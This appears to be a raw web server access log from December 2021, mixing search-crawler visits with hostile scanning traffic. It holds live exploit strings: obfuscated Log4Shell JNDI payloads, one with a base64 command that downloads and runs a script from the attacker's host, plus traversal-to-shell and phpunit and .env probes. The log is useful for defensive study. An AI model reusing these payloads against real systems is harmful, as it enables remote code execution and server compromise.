34.218.48.135 - - [16/Dec/2021:01:26:21 +0100] "GET / HTTP/1.1" 301 295 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 34.222.250.188 - - [16/Dec/2021:01:26:49 +0100] "GET /favicon.ico HTTP/1.1" 301 302 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 34.222.250.188 - - [16/Dec/2021:01:26:50 +0100] "GET / HTTP/1.1" 301 295 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 176.58.99.15 - - [16/Dec/2021:01:31:42 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0" 195.54.160.149 - - [16/Dec/2021:01:44:37 +0100] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 301 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 35.213.211.88 - - [16/Dec/2021:02:01:52 +0100] "" 400 379 "-" "-" 195.54.160.149 - - [16/Dec/2021:02:32:22 +0100] "GET /_ignition/execute-solution HTTP/1.1" 301 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 195.54.160.149 - - [16/Dec/2021:02:42:10 +0100] "-" 408 - "-" "-" 195.54.160.149 - - [16/Dec/2021:03:56:24 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 195.54.160.149 - - [16/Dec/2021:04:16:23 +0100] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 293 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 23.250.19.242 - - [16/Dec/2021:04:48:19 +0100] "GET / HTTP/1.1" 301 383 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36" 23.250.19.242 - - [16/Dec/2021:04:48:56 +0100] "" 400 379 "-" "-" 23.250.19.242 - - [16/Dec/2021:04:48:57 +0100] "" 400 379 "-" "-" 23.250.19.242 - - [16/Dec/2021:04:48:57 +0100] "" 400 379 "-" "-" 23.250.19.242 - - [16/Dec/2021:04:49:00 +0100] "quit" 400 379 "-" "-" 23.250.19.242 - - [16/Dec/2021:04:49:01 +0100] "GET /robots.txt HTTP/1.1" 301 393 "-" "-" 23.250.19.242 - - [16/Dec/2021:04:49:02 +0100] "GET /sitemap.xml HTTP/1.1" 301 394 "-" "-" 23.250.19.242 - - [16/Dec/2021:04:49:02 +0100] "GET /.well-known/security.txt HTTP/1.1" 301 407 "-" "-" 23.250.19.242 - - [16/Dec/2021:04:49:03 +0100] "GET /favicon.ico HTTP/1.1" 301 309 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0" 23.250.19.242 - - [16/Dec/2021:04:49:05 +0100] "" 400 379 "-" "-" 131.220.6.152 - - [16/Dec/2021:04:51:30 +0100] "GET / HTTP/1.1" 301 295 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 109.248.6.240 - - [16/Dec/2021:05:25:53 +0100] "GET / HTTP/1.0" 301 388 "-" "masscan-ng/1.3 (https://github.com/bi-zone/masscan-ng)" 195.54.160.149 - - [16/Dec/2021:05:31:34 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 195.54.160.149 - - [16/Dec/2021:05:50:41 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0Myl8YmFzaA==} HTTP/1.1" 301 435 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0Myl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0Myl8YmFzaA==}" 154.209.125.30 - - [16/Dec/2021:06:09:23 +0100] "GET / HTTP/1.1" 301 383 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0" 64.62.197.2 - - [16/Dec/2021:07:34:27 +0100] "GET / HTTP/1.1" 301 383 "-" "-" 207.46.13.237 - - [16/Dec/2021:07:40:48 +0100] "GET /robots.txt HTTP/1.1" 301 311 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 207.46.13.237 - - [16/Dec/2021:07:40:50 +0100] "GET /robots.txt HTTP/1.1" 301 311 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 207.46.13.127 - - [16/Dec/2021:07:40:56 +0100] "GET / HTTP/1.1" 301 304 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 50.31.21.10 - - [16/Dec/2021:07:47:45 +0100] "GET / HTTP/1.0" 301 388 "-" "-" 50.31.21.10 - - [16/Dec/2021:07:49:37 +0100] "GET / HTTP/1.0" 301 388 "-" "-" 50.31.21.10 - - [16/Dec/2021:07:49:37 +0100] "GET / HTTP/1.1" 301 383 "-" "-" 50.31.21.10 - - [16/Dec/2021:07:49:39 +0100] "POST /sdk HTTP/1.1" 301 386 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:69.0) Gecko/20100101 Firefox/69.0" 50.31.21.10 - - [16/Dec/2021:07:49:40 +0100] "HEAD / HTTP/1.1" 301 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:69.0) Gecko/20100101 Firefox/69.0" 50.31.21.10 - - [16/Dec/2021:07:49:40 +0100] "GET / HTTP/1.1" 301 383 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:69.0) Gecko/20100101 Firefox/69.0" 50.31.21.10 - - [16/Dec/2021:07:49:41 +0100] "GET /nmaplowercheck1639637376 HTTP/1.1" 301 407 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:69.0) Gecko/20100101 Firefox/69.0" 50.31.21.10 - - [16/Dec/2021:07:49:42 +0100] "GET /HNAP1 HTTP/1.1" 301 388 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:69.0) Gecko/20100101 Firefox/69.0" 50.31.21.10 - - [16/Dec/2021:07:49:43 +0100] "GET /evox/about HTTP/1.1" 301 393 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:69.0) Gecko/20100101 Firefox/69.0" 167.94.138.43 - - [16/Dec/2021:08:55:45 +0100] "GET / HTTP/1.1" 301 383 "-" "-" 167.94.138.43 - - [16/Dec/2021:08:55:45 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 128.14.141.34 - - [16/Dec/2021:09:57:20 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 91.90.123.71 - - [16/Dec/2021:10:06:54 +0100] "GET / HTTP/1.1" 301 301 "-" "Opera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1" 185.142.236.43 - - [16/Dec/2021:10:21:50 +0100] "GET / HTTP/1.1" 301 383 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36" 156.146.50.171 - - [16/Dec/2021:11:20:47 +0100] "OPTIONS / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36" 185.189.182.234 - - [16/Dec/2021:11:24:47 +0100] "GET /Q4ho HTTP/1.1" 400 379 "-" "-" 128.14.141.34 - - [16/Dec/2021:14:24:33 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 167.71.13.196 - - [16/Dec/2021:14:58:55 +0100] "GET / HTTP/1.1" 301 383 "-" "-" 167.71.13.196 - - [16/Dec/2021:14:58:56 +0100] "GET / HTTP/1.1" 301 383 "-" "l9tcpid/v1.1.0" 167.71.13.196 - - [16/Dec/2021:14:58:56 +0100] "GET /$%7Bjndi:ldap://167.71.13.196:443/lx-ffff563b7166bb01002046bb6100000000374d68%7D?${jndi:ldap://167.71.13.196:443/lx-ffff563b7166bb01012046bb6100000000930cce}=${jndi:ldap://167.71.13.196:443/lx-ffff563b7166bb01022046bb6100000000ce12d8} HTTP/1.1" 400 356 "-" "${jndi:ldap://167.71.13.196:443/lx-ffff563b7166bb01082046bb6100000000383489}" 212.186.238.50 - - [16/Dec/2021:15:20:55 +0100] "GET / HTTP/1.1" 301 304 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36" 195.54.160.149 - - [16/Dec/2021:16:43:42 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 80.82.77.192 - - [16/Dec/2021:17:11:22 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" 103.247.21.18 - - [16/Dec/2021:17:56:08 +0100] "GET /.env HTTP/1.1" 301 304 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.247.21.18 - - [16/Dec/2021:17:56:09 +0100] "POST / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 195.54.160.149 - - [16/Dec/2021:18:06:17 +0100] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 128.14.209.162 - - [16/Dec/2021:19:13:59 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 195.54.160.149 - - [16/Dec/2021:20:11:24 +0100] "POST /mifs/.;/services/LogService HTTP/1.1" 301 318 "https://86.59.113.102:443" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 109.237.103.118 - - [16/Dec/2021:20:25:46 +0100] "GET /.git/config HTTP/1.1" 301 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 109.237.103.118 - - [16/Dec/2021:20:25:47 +0100] "POST /.git/config HTTP/1.1" 301 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.118.53.210 - - [16/Dec/2021:21:36:31 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 41.203.140.114 - - [16/Dec/2021:21:39:32 +0100] "GET / HTTP/1.1" 301 383 "-" "curl/7.58.0" 41.203.140.114 - - [16/Dec/2021:21:39:33 +0100] "GET / HTTP/1.1" 301 383 "-" "curl/7.58.0" 41.203.140.114 - - [16/Dec/2021:21:39:34 +0100] "GET / HTTP/1.1" 301 383 "-" "curl/7.58.0" 41.203.140.114 - - [16/Dec/2021:21:39:34 +0100] "GET / HTTP/1.1" 301 383 "-" "curl/7.58.0" 185.180.143.138 - - [16/Dec/2021:22:37:49 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 195.54.160.149 - - [16/Dec/2021:23:12:25 +0100] "GET /_ignition/execute-solution HTTP/1.1" 301 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 128.14.209.162 - - [16/Dec/2021:23:28:40 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 195.54.160.149 - - [17/Dec/2021:00:12:27 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 195.54.160.149 - - [17/Dec/2021:00:43:19 +0100] "GET / HTTP/1.1" 301 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 66.249.66.145 - - [17/Dec/2021:00:55:20 +0100] "GET /robots.txt HTTP/1.1" 301 304 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.1 - - [17/Dec/2021:00:55:21 +0100] "GET / HTTP/1.1" 301 297 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"